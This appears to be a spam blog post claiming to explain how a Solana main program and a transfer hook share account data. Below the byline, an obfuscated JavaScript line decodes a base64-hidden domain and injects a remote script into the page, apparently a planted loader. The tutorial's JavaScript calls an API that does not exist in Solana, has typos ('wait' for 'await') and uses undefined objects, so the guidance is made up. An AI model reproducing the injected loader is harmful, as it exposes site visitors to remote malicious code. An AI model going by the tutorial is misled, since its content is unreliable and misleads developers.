News

Solana: How do I share account data between the main program and the transfer hook?

Published by Terlumun Aondover on February 5th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=f5cb39d4″;document.body.appendChild(script);

Sharing Account Data Between the Main Program and the Transfer Hook on Solana

Solana: How to share the account data between main program and transfer hook?

Solana is a fast and scalable blockchain platform that allows developers to efficiently build decentralized applications (dApps). When building dApps, it is common to need to share account data between different components, such as the main program, the transfer hook, and other contracts. In this article, we will explore how to share account data between the main program and the transfer hook on Solana.

Problem:

Let’s say you have two programs, program#A and program#B, where program#A is the main program and program#B is the transfer hook. Both programs need to access the shared account data object, but they are not connected by a direct link.

Solution:

If you want to share account data between the main program and the transfer hook in Solana, you can use the following approach:

Create an Account Data Object: First, create an Account Data Object (ADO) in the main program contract. This ADO represents the shared account data that both programs will access.


// Create an ADO for the shared account data
const SharedAccount = await SolanaConfigAccount.create(
{ id: "shared_account", key: "shared_account_key" },
"Shared Account Data"
);

Use a Transfer Hook: Next, create a transfer hook contract that will be responsible for updating and accessing the shared ADO.


// Create a transfer hook contract
const TransferHook = wait SolanaConfigAccount.create(
{ id: "transfer_hook", key: "transfer_hook_key" },
{
update: async(account, { key }) => {
const data = SharedAccount.get(key);
// Update the shared account data object
await SharedAccount.update(data);
}
}
);

Connect the Transfer Hook to the main program: Now connect the transfer hook contract to your main program by updating its update method.


// Connect the transfer hook to the main program
TransferHook.connect();

Get the shared account data from the transfer hook: Finally, use the update method of the transfer hook to get the shared account data object and access it as needed.


// Get shared account data from the transfer hook
const sharedAccount = await SharedAccount.get();
// Access shared account data
sharedAccount.getData(); // returns updated data

Usage example:

Let’s say you have a simple program program#A that wants to update and access shared account data. Here’s an example of how you can do it:


// Program #A
const Account = {
name: "Account",
id: "account_id",
key: "key",
};
const ADO = wait SolanaConfigAccount.create(
{ id: "shared_account", key: "shared_account_key" },
"Shared Account Data"
);
// Update shared account data
wait SharedAccount.update(ADO, {
id: "updated_id",
key: "updated_key",
value: "new_value",
});
// Get updated shared account data
const updatedSharedAccount = await SharedAccount.get();
// Access updated shared account data
updatedSharedAccount.getData(); // return new data

In short, sharing account data between the main program and the transfer hook on Solana is a simple process that involves creating an ADO in the main program contract, using the transfer hook to update and access the shared ADO, and connecting the transfer hook to the main program. This allows you to build dApps with minimal code changes and efficient resource utilization.